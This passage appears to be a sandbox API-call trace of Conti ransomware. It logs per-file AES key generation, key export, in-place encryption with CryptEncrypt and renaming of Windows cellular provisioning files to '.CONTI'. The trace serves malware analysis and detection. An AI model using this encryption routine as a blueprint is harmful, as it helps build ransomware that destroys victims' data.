	[0110.784] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\352__connections_cellular_orange (romania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0110.784] GetLastError () returned 0x0
	[0110.784] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=707) returned 1
	[0110.784] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c3
	[0110.784] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.784] SetEndOfFile (hFile=0x3a8) returned 1
	[0110.784] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.784] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.784] WriteFile (in: hFile=0x3a8, lpBuffer=0x656916c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x656916c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0110.791] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.791] ReadFile (in: hFile=0x3a8, lpBuffer=0xe980000, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x2c3, lpOverlapped=0x0) returned 1
	[0110.791] CryptEncrypt (in: hKey=0x17c7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2c3, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2d0) returned 1
	[0110.791] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.791] WriteFile (in: hFile=0x3a8, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.791] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.791] WriteFile (in: hFile=0x3a8, lpBuffer=0x6569160*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6569160*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0110.791] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.791] CloseHandle (hObject=0x3a8) returned 1
	[0110.791] GetProcessHeap () returned 0x1720000
	[0110.791] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.791] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml"
	[0110.791] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.791] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\352__connections_cellular_orange (romania)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\352__connections_cellular_orange (romania)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.792] GetProcessHeap () returned 0x1720000
	[0110.792] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.792] CryptDestroyKey (hKey=0x17c7770) returned 1
	[0110.792] GetProcessHeap () returned 0x1720000
	[0110.792] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65663d8 | out: hHeap=0x1720000) returned 1
	[0110.792] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0110.792] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6568a90 | out: phKey=0x6568a90*=0x17c7770) returned 1
	[0110.792] CryptExportKey (in: hKey=0x17c7770, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6568a94, pdwDataLen=0x4fbf86c | out: pbData=0x6568a94*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0110.793] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\354__connections_cellular_vodafone ro (romania)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.793] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\354__connections_cellular_vodafone ro (romania)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0110.794] GetLastError () returned 0x0
	[0110.794] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=934) returned 1
	[0110.794] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3a6
	[0110.794] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.794] SetEndOfFile (hFile=0x3a8) returned 1
	[0110.794] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.794] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.794] WriteFile (in: hFile=0x3a8, lpBuffer=0x6568a94*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6568a94*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0110.796] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.796] ReadFile (in: hFile=0x3a8, lpBuffer=0xe980000, nNumberOfBytesToRead=0x3a6, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x3a6, lpOverlapped=0x0) returned 1
	[0110.796] CryptEncrypt (in: hKey=0x17c7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x3a6, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x3b0) returned 1
	[0110.796] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.796] WriteFile (in: hFile=0x3a8, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x3b0, lpOverlapped=0x0) returned 1
	[0110.796] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.796] WriteFile (in: hFile=0x3a8, lpBuffer=0x6568a88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6568a88*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0110.796] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.796] CloseHandle (hObject=0x3a8) returned 1
	[0110.796] GetProcessHeap () returned 0x1720000
	[0110.796] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.796] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml"
	[0110.796] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml.CONTI"
	[0110.796] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\354__connections_cellular_vodafone ro (romania)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\354__connections_cellular_vodafone ro (romania)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0110.797] GetProcessHeap () returned 0x1720000
	[0110.797] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.797] CryptDestroyKey (hKey=0x17c7770) returned 1
	[0110.797] GetProcessHeap () returned 0x1720000
	[0110.797] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656dee8 | out: hHeap=0x1720000) returned 1
	[0110.797] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0110.797] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x65695f8 | out: phKey=0x65695f8*=0x17c7cb0) returned 1
	[0110.797] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65695fc, pdwDataLen=0x4fbf86c | out: pbData=0x65695fc*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0110.798] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\355__connections_cellular_vodafone ro (romania)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0110.798] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\355__connections_cellular_vodafone ro (romania)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0110.799] GetLastError () returned 0x0
	[0110.799] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=914) returned 1
	[0110.799] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x392
	[0110.799] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.799] SetEndOfFile (hFile=0x3a8) returned 1
	[0110.799] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.799] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.799] WriteFile (in: hFile=0x3a8, lpBuffer=0x65695fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x65695fc*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0110.801] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.801] ReadFile (in: hFile=0x3a8, lpBuffer=0xe980000, nNumberOfBytesToRead=0x392, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x392, lpOverlapped=0x0) returned 1
	[0110.801] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x392, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x3a0) returned 1
	[0110.801] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.801] WriteFile (in: hFile=0x3a8, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x3a0, lpOverlapped=0x0) returned 1
	[0110.801] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.801] WriteFile (in: hFile=0x3a8, lpBuffer=0x65695f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x65695f0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0110.801] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.801] CloseHandle (hObject=0x3a8) returned 1
	[0110.801] GetProcessHeap () returned 0x1720000
	[0110.801] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.801] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml"
	[0110.801] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml.CONTI"
	[0110.801] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\355__connections_cellular_vodafone ro (romania)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\355__connections_cellular_vodafone ro (romania)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0110.802] GetProcessHeap () returned 0x1720000
	[0110.802] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.802] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0110.802] GetProcessHeap () returned 0x1720000
	[0110.802] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656c810 | out: hHeap=0x1720000) returned 1
	[0110.802] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0110.802] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x65149a8 | out: phKey=0x65149a8*=0x17c7af0) returned 1
	[0110.802] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65149ac, pdwDataLen=0x4fbf86c | out: pbData=0x65149ac*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0110.803] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\356__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0110.803] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\356__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0110.803] GetLastError () returned 0x0
	[0110.803] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=480) returned 1
	[0110.803] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0110.803] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.803] SetEndOfFile (hFile=0x3a8) returned 1
	[0110.808] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.808] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.808] WriteFile (in: hFile=0x3a8, lpBuffer=0x65149ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x65149ac*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0110.815] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.815] ReadFile (in: hFile=0x3a8, lpBuffer=0xe980000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x1e0, lpOverlapped=0x0) returned 1
	[0110.815] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1e0, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1f0) returned 1
	[0110.815] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.815] WriteFile (in: hFile=0x3a8, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x1f0, lpOverlapped=0x0) returned 1
	[0110.815] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.815] WriteFile (in: hFile=0x3a8, lpBuffer=0x65149a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x65149a0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0110.815] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.815] CloseHandle (hObject=0x3a8) returned 1
	[0110.815] GetProcessHeap () returned 0x1720000
	[0110.815] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.815] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
